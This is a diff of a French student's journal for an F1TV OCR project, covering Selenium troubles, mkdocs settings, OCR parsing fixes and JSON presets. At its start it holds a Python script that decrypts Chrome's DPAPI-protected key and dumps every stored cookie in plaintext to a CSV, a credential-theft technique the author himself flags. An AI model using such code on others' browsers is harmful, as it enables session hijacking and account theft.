    -    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    -    master_key = master_key[5:]  # removing DPAPI
    -    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    -    print("MASTER KEY :")
    -    print(master_key)
    -    print(len(master_key))
    -    return master_key
    -
    -def decrypt_payload(cipher, payload):
    -    return cipher.decrypt(payload)
    -
    -def generate_cipher(aes_key, iv):
    -    return AES.new(aes_key, AES.MODE_GCM, iv)
    -
    -def decrypt_password(buff, master_key):
    -    try:
    -        iv = buff[3:15]
    -        payload = buff[15:]
    -        cipher = generate_cipher(master_key, iv)
    -        decrypted_pass = decrypt_payload(cipher, payload)
    -        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
    -        return decrypted_pass
    -    except Exception:
    -        # print("Probably saved password from Chrome version older than v80\n")
    -        # print(str(e))
    -        return "Chrome < 80"
    -
    -
    -master_key = get_master_key()
    -
    -cookies_path = Path(
    -    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
    -)
    -
    -if not cookies_path.exists():
    -    raise ValueError("Cookies file not found")
    -
    -with sqlite3.connect(cookies_path) as connection:
    -    connection.row_factory = sqlite3.Row
    -    cursor = connection.cursor()
    -    cursor.execute("SELECT * FROM cookies")
    -
    -    with open('cookies.csv', 'a', newline='') as csvfile:
    -        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
    -        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    -
    -        if csvfile.tell() == 0:
    -            writer.writeheader()
    -
    -        for row in cursor.fetchall():
    -            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
    -            writer.writerow({
    -                'host_key': row["host_key"],
    -                'name': row["name"],
    -                'value': decrypted_value,
    -                'path': row["path"],
    -                'expires_utc': row["expires_utc"],
    -                'is_secure': row["is_secure"],
    -                'is_httponly': row["is_httponly"]
    -            })
    -
    -print("Finished CSV")
    -
    +
    def get_master_key():
    +    with open(
    +        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
    +    ) as f:
    +        local_state = f.read()
    +        local_state = json.loads(local_state)
    +    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    +    master_key = master_key[5:]  # removing DPAPI
    +    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    +    print("MASTER KEY :")
    +    print(master_key)
    +    print(len(master_key))
    +    return master_key
    +
    +def decrypt_payload(cipher, payload):
    +    return cipher.decrypt(payload)
    +
    +def generate_cipher(aes_key, iv):
    +    return AES.new(aes_key, AES.MODE_GCM, iv)
    +
    +def decrypt_password(buff, master_key):
    +    try:
    +        iv = buff[3:15]
    +        payload = buff[15:]
    +        cipher = generate_cipher(master_key, iv)
    +        decrypted_pass = decrypt_payload(cipher, payload)
    +        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
    +        return decrypted_pass
    +    except Exception:
    +        # print("Probably saved password from Chrome version older than v80\n")
    +        # print(str(e))
    +        return "Chrome < 80"
    +
    +
    +master_key = get_master_key()
    +
    +cookies_path = Path(
    +    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
    +)
    +
    +if not cookies_path.exists():
    +    raise ValueError("Cookies file not found")
    +
    +with sqlite3.connect(cookies_path) as connection:
    +    connection.row_factory = sqlite3.Row
    +    cursor = connection.cursor()
    +    cursor.execute("SELECT * FROM cookies")
    +
    +    with open('cookies.csv', 'a', newline='') as csvfile:
    +        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
    +        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    +
    +        if csvfile.tell() == 0:
    +            writer.writeheader()
    +
    +        for row in cursor.fetchall():
    +            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
    +            writer.writerow({
    +                'host_key': row["host_key"],
    +                'name': row["name"],
    +                'value': decrypted_value,
    +                'path': row["path"],
    +                'expires_utc': row["expires_utc"],
    +                'is_secure': row["is_secure"],
    +                'is_httponly': row["is_httponly"]
    +            })
    +
    +print("Finished CSV")
    +

    Ce programme va faire tout ce que j'ai expliqué et va ensuite stocker les résultats dans un CSV pour qu'il soit facile d'y accèder depuis le C#.

    Alors oui cela pose certaines questions de sécurité. Car en effet je prend tous les cookies, les décode et les stocke. Ce qui veut dire que je pourrais tout à fait envoyer ces données quelque part, par exemple un compte Netflix, et me rincer.

    Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionné clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca.

    @@ -1840,13 +2035,13 @@ print("Finished CSV")

    Pour changer la qualité du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la même.

    Elle commence toujours pas "1080_" mais ensuite ca peut être "1080_45930285" ou "1080_56801" la suite est apparemment random.

    J'ai donc du utiliser ce code pour le selectioner quand même :

    -
    IWebElement settingsButton = driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
    -                settingsButton.Click();
    -                IWebElement selectElement = driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
    -                SelectElement select = new SelectElement(selectElement);
    -                IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
    -                selectOption.Click();
    -
    +
    IWebElement settingsButton = driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
    +                settingsButton.Click();
    +                IWebElement selectElement = driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
    +                SelectElement select = new SelectElement(selectElement);
    +                IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
    +                selectOption.Click();
    +

    Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le problème c'est qu'il est invisible alors on doit le faire apparaitre.

    J'ai tenté de le faire aparaitre en bougeant la souris, en cliquant à un endroit précis, impossible de le faire marcher correctement.

    Puis j'ai eu l'idée de mettre pause en envoyant un appui sur la touche Espace et ca a permit de découvrir le bouton et permettre qu'on clique dessus.

    @@ -1950,17 +2145,17 @@ Ca fait des heures que je bosse sur ce problème débile et impossible de trouve

    ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV

    ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN

    VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES :

    -
    // Create a new FirefoxDriver instance
    -            IWebDriver driver = new FirefoxDriver();
    -
    -            // Navigate to the specified URL
    -            driver.Navigate().GoToUrl("https://www.example.com");
    -
    -            // Do something with the driver (e.g., find elements or take screenshots)
    -
    -            // Quit the driver
    -            driver.Quit();
    -
    +
    // Create a new FirefoxDriver instance
    +            IWebDriver driver = new FirefoxDriver();
    +
    +            // Navigate to the specified URL
    +            driver.Navigate().GoToUrl("https://www.example.com");
    +
    +            // Do something with the driver (e.g., find elements or take screenshots)
    +
    +            // Quit the driver
    +            driver.Quit();
    +

    Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV

    Oui je suis un peu énervé ca se voit? A bon?

    Et maintenant NUGGET ne fonctionne plus... j'en peux plus la.

    @@ -1987,31 +2182,31 @@ Ca fait des heures que je bosse sur ce problème débile et impossible de trouve

    Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec.

    Alors pour le moment avec CEFSharp j'arrive à lancer une instance de chrome et prendre une screenshot avec ce code :

    -
    CefSettings settings = new CefSettings();
    -            settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "CefSharp\\Cache"); // Set cache path
    -            settings.LogSeverity = LogSeverity.Disable; // Disable logging
    -            Cef.Initialize(settings); // Initialize CEF
    -
    -            using (var browser = new ChromiumWebBrowser("www.google.com", new BrowserSettings())) // Launch Chromium in off-screen mode
    -            {
    -                browser.Load("https://www.example.com"); // Navigate to the test URL
    -                browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080
    -                browser.ScreenshotAsync().ContinueWith(task =>
    -                {
    -                    var bitmap = task.Result;
    -                    bitmap.Save("screenshot.png", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file
    -                }).Wait();
    -            }
    -
    -            Cef.Shutdown(); // Shutdown CEF
    -
    +
    CefSettings settings = new CefSettings();
    +            settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "CefSharp\\Cache"); // Set cache path
    +            settings.LogSeverity = LogSeverity.Disable; // Disable logging
    +            Cef.Initialize(settings); // Initialize CEF
    +
    +            using (var browser = new ChromiumWebBrowser("www.google.com", new BrowserSettings())) // Launch Chromium in off-screen mode
    +            {
    +                browser.Load("https://www.example.com"); // Navigate to the test URL
    +                browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080
    +                browser.ScreenshotAsync().ContinueWith(task =>
    +                {
    +                    var bitmap = task.Result;
    +                    bitmap.Save("screenshot.png", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file
    +                }).Wait();
    +            }
    +
    +            Cef.Shutdown(); // Shutdown CEF
    +

    Avec ca il faut ces using :

    -
    using System;
    -using System.Drawing;
    -using System.IO;
    -using CefSharp;
    -using CefSharp.OffScreen;
    -
    +
    using System;
    +using System.Drawing;
    +using System.IO;
    +using CefSharp;
    +using CefSharp.OffScreen;
    +

    C'est assez prometteur même si il faut encore beaucoup pour remplacer selenium.

    Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX

    Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre.

    @@ -2038,9 +2233,9 @@ using CefSharp.OffScreen;

    Encore une fois sans succès. J'ai ensuite tenté d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait.

    Mais en fait la seule chose qui a changé quoi que ce soit était la technique suivante :

    Changer la window size en utilisant :

    -
    options.AddArgument("--width=1920");
    -options.AddArgument("--height=1200");
    -
    +
    options.AddArgument("--width=1920");
    +options.AddArgument("--height=1200");
    +

    Ca ne marchait pas car j'utilisais une autre methode pour resize en même temps, qui elle ne marchait pas mais qui empêchait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'était pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai passée.

    Alors tout n'est pas encore gagné, il faut que j'arrive à implémenter ca dans un plus gros projet et que la vidéo puisse être prise seule. Demain je m'occupe de ca.

    Mardi 2 Mai 2023

    @@ -2156,57 +2351,57 @@ C'était assez frustrant d'avoir perdu deux jours de travail mais on va faire av

    Pour le rendu il nous était demandé de fournir un fichier PDF avec tout dedans avec une table des matières notre code source etc...

    Pour ce faire j'ai du changer le mkdocs.yml et installer des packages.

    Voici les changements ::

    -
    site_name: Documentation Track Trends
    -site_author: Rohmer Maxime
    -copyright:   ©CFPTI Tech2
    -theme:
    -        name: material
    -        palette:
    -        # Palette toggle for light mode
    -        - media: "(prefers-color-scheme: light)"
    -          scheme: default
    -          toggle:
    -          icon: material/brightness-7
    -          name: Switch to dark mode
    -
    -        # Palette toggle for dark mode
    -        - media: "(prefers-color-scheme: dark)"
    -          scheme: slate
    -          toggle:
    -          icon: material/brightness-4
    -          name: Switch to light mode
    -markdown_extensions:
    -  - attr_list
    -  - md_in_html
    -  - pymdownx.highlight
    -plugins:
    -  - glightbox
    -  - search
    -  - img2fig
    -  - with-pdf:
    -      cover_subtitle: Vroum Vroum
    -      enabled_if_env: ENABLE_PDF_EXPORT
    -  - annexes-integration:
    -      annexes: # Required (at least 1)
    -        - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title
    -        - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title
    -        - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title
    -        - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title
    -        - Program.cs: Code/Program.cs # An path to an annex with its title
    -        - Window.cs: Code/Window.cs # An path to an annex with its title
    -        - DriverData.cs: Code/DriverData.cs # An path to an annex with its title
    -        - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title
    -        - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title
    -        - Form1.cs: Code/Form1.cs # An path to an annex with its title
    -        - Reader.cs: Code/Reader.cs # An path to an annex with its title
    -        - Zone.cs: Code/Zone.cs # An path to an annex with its title
    -        - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title
    -        - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title
    -        - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title
    -        - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title
    -        - Settings.cs: Code/Settings.cs # An path to an annex with its title
    -        - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title
    -
    +
    site_name: Documentation Track Trends
    +site_author: Rohmer Maxime
    +copyright:   ©CFPTI Tech2
    +theme:
    +        name: material
    +        palette:
    +        # Palette toggle for light mode
    +        - media: "(prefers-color-scheme: light)"
    +          scheme: default
    +          toggle:
    +          icon: material/brightness-7
    +          name: Switch to dark mode
    +
    +        # Palette toggle for dark mode
    +        - media: "(prefers-color-scheme: dark)"
    +          scheme: slate
    +          toggle:
    +          icon: material/brightness-4
    +          name: Switch to light mode
    +markdown_extensions:
    +  - attr_list
    +  - md_in_html
    +  - pymdownx.highlight
    +plugins:
    +  - glightbox
    +  - search
    +  - img2fig
    +  - with-pdf:
    +      cover_subtitle: Vroum Vroum
    +      enabled_if_env: ENABLE_PDF_EXPORT
    +  - annexes-integration:
    +      annexes: # Required (at least 1)
    +        - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title
    +        - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title
    +        - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title
    +        - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title
    +        - Program.cs: Code/Program.cs # An path to an annex with its title
    +        - Window.cs: Code/Window.cs # An path to an annex with its title
    +        - DriverData.cs: Code/DriverData.cs # An path to an annex with its title
    +        - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title
    +        - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title
    +        - Form1.cs: Code/Form1.cs # An path to an annex with its title
    +        - Reader.cs: Code/Reader.cs # An path to an annex with its title
    +        - Zone.cs: Code/Zone.cs # An path to an annex with its title
    +        - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title
    +        - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title
    +        - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title
    +        - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title
    +        - Settings.cs: Code/Settings.cs # An path to an annex with its title
    +        - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title
    +

    Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aidé pour cette partie et avoir créé un plugin qui me permet de mettre mon code source directement dans le pdf.

    Bon au final j'ai quand même changé mon poster

    @@ -2218,6 +2413,842 @@ plugins:
    "Poster V9"
    +

    Je pense que cette version est meilleure même si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure idée de l'utilisé de chaque partie.

    +

    Mercredi 10 Mai 2023

    +

    Bon hier je n'ai pas eu le temps de finir la documentation de la recupèration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense.

    +

    Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plutôt pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer à l'implémentation de l'OCR.

    +

    Je suis presque certain que l'OCR va avoir besoin de plus de règlages mais bon on verra bien.

    +

    Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un lèger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment à moins que ca me pose soucis plus tard.

    +

    J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement à 1920x1080

    +

    En fait il y a parfois un soucis un peu pénible avec l'OCR.

    +

    Parfois pour un temps comme ci dessous:

    +
    + +
    "1:45.140"
    +
    +

    Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140

    +

    La il y a deux problèmes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transformé en 1...

    +

    J'ai créé ce "petit" bout de code pour gèrer les fois ou les '.' et les ':' ont mal été interprêtés

    +
    if (rawNumbers.Count == 1)
    +                    {
    +                        //If this code is used it means that its bad ... 
    +                        //The methods that comes are really not that great and are juste quick fixes
    +                        try
    +                        {
    +                            result = Convert.ToInt32(rawNumbers[0]);
    +
    +                            switch (windowType)
    +                            {
    +                                case OcrImage.WindowType.Sector:
    +                                    //The usual sector is in this form : 33.456
    +                                    if (rawNumbers[0].Length == 6)
    +                                    {
    +                                        //The '.' has been understood like a number
    +                                        result = 0;
    +                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
    +                                        result += Convert.ToInt32(rawNumbers[0][3] + rawNumbers[0][4] + rawNumbers[0][5]);
    +                                    }
    +                                    if (rawNumbers[0].Length == 5)
    +                                    {
    +                                        //The '.' has been overlooked
    +                                        result = 0;
    +                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
    +                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3] + rawNumbers[0][4]);
    +                                    }
    +                                    break;
    +                                case OcrImage.WindowType.LapTime:
    +                                    //The usual Lap time is in this form : 1:45:345
    +                                    if (rawNumbers[0].Length == 6)
    +                                    {
    +                                        //The '.' and ':' have been overlooked
    +                                        //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care
    +                                        result = 0;
    +                                        result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
    +                                        result += Convert.ToInt32(rawNumbers[0][1] + rawNumbers[0][2]) * 1000;
    +                                        result += Convert.ToInt32(rawNumbers[0][3] + rawNumbers[0][4] + rawNumbers[0][5]);
    +                                    }
    +                                    if (rawNumbers[0].Length == 7)
    +                                    {
    +                                        //There is two possibilities 
    +                                        //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one
    +                                        result = 0;
    +                                        result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
    +                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3]) * 1000;
    +                                        result += Convert.ToInt32(rawNumbers[0][4] + rawNumbers[0][5] + rawNumbers[0][6]);
    +                                    }
    +                                    break;
    +                                case OcrImage.WindowType.Gap:
    +                                    //The usual Gap is in this form : + 34.567
    +                                    if (rawNumbers[0].Length == 5)
    +                                    {
    +                                        //The '.' has been overlooked
    +                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
    +                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3] + rawNumbers[0][4]);
    +                                    }
    +                                    break;
    +                            }
    +                            if (rawNumbers[0].Length > 6)
    +                            {
    +                                //The number definitely has been interpreted wrong
    +                            }
    +                        }
    +                        catch
    +                        {
    +                            //It can be because the input is empty or because its the LEADER bracket
    +                            result = 0;
    +                        }
    +                    }
    +                    else
    +                    {
    +                        //Auuuugh
    +                        result = 0;
    +                    }
    +
    +
    ConfigFile = "./Presets/Clean_2023.json";
    +string gpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play";
    +
    +

    Bon je n'arrive pas à faire fonctionner l'OCR sans tout faire crash à chaque fois. Je vais abandonner le travail de la journée pour revenir au point initial... C'est très frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal.

    +

    Va savoir pourquoi même comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'être utilisé. Ca marchait nikel dans mes premières version je ne vois pas pourquoi ca pête maintenant.

    +

    Je pense que je vois à peu près le soucis.

    +
    public virtual async Task<DriverData> Decode(List<string> driverList)
    +        {
    +            int sectorCount = 0;
    +            DriverData result = new DriverData();
    +            Parallel.ForEach(Windows, async w =>
    +            {
    +                // A switch would be prettier but I dont think its supported in this C# version
    +                if (w is DriverNameWindow)
    +                    result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
    +                if (w is DriverDrsWindow)
    +                    result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
    +                if (w is DriverGapToLeaderWindow)
    +                    result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
    +                if (w is DriverLapTimeWindow)
    +                    result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
    +                if (w is DriverPositionWindow)
    +                    result.Position = (int)await (w as DriverPositionWindow).DecodePng();
    +                if (w is DriverSectorWindow)
    +                {
    +                    sectorCount++;
    +                    if (sectorCount == 1)
    +                        result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
    +                    if (sectorCount == 2)
    +                        result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
    +                    if (sectorCount == 3)
    +                        result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
    +                }
    +                if (w is DriverTyresWindow)
    +                    result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
    +            });
    +            return result;
    +        }
    +
    +

    Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est déja utilisé. Ma conjecture c'est que en essayant de faire toutes les windows en même temps. Elles veulent parfois accèder à l'image principale en même temps. Ce qui evidemment pose problème. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte à exporter ce fonctionnement sur chaque zone en elle même pour ne pas perdre trop de performances.

    +

    Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la première image qui était juste tout le temps prise et dans la première image on a une partie des chiffres qui est bloquée par l'UI de la fenêtre... lol...

    +

    EN FAIT +J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur

    +

    Bon j'en ai tellement marre... Je n'arrive tout simplement PAS à faire fonctionner l'OCR ca crash tout le temps j'en peux plus.

    +

    J'ai tenté de règler les problèmes de mauvaises detections de secteurs et temps au tour qui font crasher l'app :

    +
    if (rawNumbers.Count == 2)
    +                {
    +                    //ss:ms
    +                    result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]);
    +
    +                    if (result > (60000 + 999))
    +                    {
    +                        if (windowType == OcrImage.WindowType.LapTime)
    +                        {
    +                            result = 0;
    +                            result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
    +                            result += Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()) * 1000;
    +                            result += Convert.ToInt32(rawNumbers[1]);
    +                        }
    +                        if (windowType == OcrImage.WindowType.Sector)
    +                        {
    +                            int seconds = 0;
    +                            if (rawNumbers[0].Length == 3)
    +                            {
    +                                //We have one char that we need to delete
    +                                //For no apparent reason im going to delete the first 
    +                                seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
    +                            }
    +                            else
    +                            {
    +                                seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
    +                            }
    +                            int ms = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
    +                            result = seconds * 1000 + ms;
    +                        }
    +                    }
    +                }
    +
    +

    Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journée de perdue complêtement... C'est extrêmement frustrant.

    +

    Après des heures de debug j'ai enfin réussi à faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle à chier du coup...

    +

    Jeudi 11 Mai 2023

    +

    Bon après une bonne nuit de sommeil je vais reprendre les choses depuis le début.

    +

    J'ai deux soucis :

    +
      +
    • L'OCR pue du derche
    • +
    • L'Image que l'on décode ne change pas
    • +
    +

    Pour la première partie j'ai ma petite théorie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a déja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette résolution.

    +

    Je me suis demandé si ca n'était pas mieux de prendre en compte les deux résolutions pour les pc un peu moins balèzes et j'ai décidé de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du diplôme je pense.

    +

    Pour la seconde partie, je pense qu'il faut que j'aille voir du côte de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forcément oublier un truc.

    +

    Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le même et il fonctionne alors que de mon côté ca n'est pas le cas.

    +

    Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le décalage est trop grand entre les windows. Des que le soucis d'image est règlé il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les écarts.

    +

    Sinon regardez ce que ca donne quand on arrive au dernier pilote :

    +
    + +
    "Zone de pilote décalée"
    +
    +

    Je commence à devenir FOU. Je n'arrive pas à changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du départ.

    +

    Bon j'ai enfin trouvé pourquoi et je n'ai pas envie de dire comment j'ai trouvé... Je pense que l'on a tous droit à son petit jardin secret.

    +

    Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la création et de la lecture des JSON.

    +

    Voici un exemple de preset JSON :

    +
    {
    +    "Main": {
    +        "x": 40,
    +        "y": 355,
    +        "width": 3784,
    +        "height": 1438,
    +        "Zones": [
    +            {
    +                "DriverZone": {
    +                    "x": 0,
    +                    "y": -10,
    +                    "width": 3784,
    +                    "height": 71,
    +                    "Windows": [
    +                        {
    +                            "Position": {
    +                                "x": 47,
    +                                "y": 11,
    +                                "width": 72
    +                            },
    +                            "GapToLeader": {
    +                                "x": 445,
    +                                "y": 13,
    +                                "width": 201
    +                            },
    +                            "LapTime": {
    +                                "x": 859,
    +                                "y": 14,
    +                                "width": 221
    +                            },
    +                            "DRS": {
    +                                "x": 1094,
    +                                "y": 13,
    +                                "width": 173
    +                            },
    +                            "Tyres": {
    +                                "x": 1270,
    +                                "y": 11,
    +                                "width": 1452
    +                            },
    +                            "Name": {
    +                                "x": 2727,
    +                                "y": 11,
    +                                "width": 351
    +                            },
    +                            "Sector1": {
    +                                "x": 3083,
    +                                "y": 10,
    +                                "width": 253
    +                            },
    +                            "Sector2": {
    +                                "x": 3339,
    +                                "y": 14,
    +                                "width": 195
    +                            },
    +                            "Sector3": {
    +                                "x": 3518,
    +                                "y": 14,
    +                                "width": 250
    +                            }
    +                        }
    +                    ]
    +                }
    +            }
    +        ]
    +    },
    +    "Drivers": [
    +        "Perez",
    +        "Leclerc",
    +        "Sainz",
    +        "Alonso",
    +        "Stroll",
    +        "Russel",
    +        "Verstappen",
    +        "Zhou",
    +        "Ocon",
    +        "Hulkenberg",
    +        "Hamilton",
    +        "Norris",
    +        "Tsunoda",
    +        "Magnussen",
    +        "Piastri",
    +        "Albon",
    +        "Gasly",
    +        "Sargeant",
    +        "Bottas",
    +        "De Vries"
    +    ]
    +}
    +
    +

    Je pense que ce qui serait bien ce serait de rajouter un "offsets" qui contienne les 19 écarts restants.

    +

    Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai complêtement refaite.

    +

    J'ai aussi abandonné l'idée de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits.

    +

    Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plutôt clean :

    +
    public void SaveToJson(List<string> drivers, string configName)
    +        {
    +            string JSON = "";
    +
    +            JsonObject jsonFileObject = new JsonObject();
    +
    +            //Creating the mainZone object
    +
    +            JsonObject mainZoneObject = new JsonObject();
    +            mainZoneObject.Add("x",MainZone.Bounds.X);
    +            mainZoneObject.Add("y",MainZone.Bounds.Y);
    +            mainZoneObject.Add("width",MainZone.Bounds.Width);
    +            mainZoneObject.Add("height",MainZone.Bounds.Height);
    +
    +            JsonArray driverZonesArray = new JsonArray();
    +
    +            int DriverID = 0;
    +            foreach (Zone driverZone in MainZone.Zones)
    +            {
    +                DriverID++;
    +                JsonObject driverZoneObject = new JsonObject();
    +                driverZoneObject.Add("name","Driver"+DriverID);
    +                driverZoneObject.Add("x", driverZone.Bounds.X);
    +                driverZoneObject.Add("y", driverZone.Bounds.Y);
    +                driverZoneObject.Add("width", driverZone.Bounds.Width);
    +                driverZoneObject.Add("height", driverZone.Bounds.Height);
    +
    +                JsonArray windowsArray = new JsonArray();
    +
    +                JsonObject windowObject = new JsonObject();
    +                foreach (Window window in driverZone.Windows)
    +                {
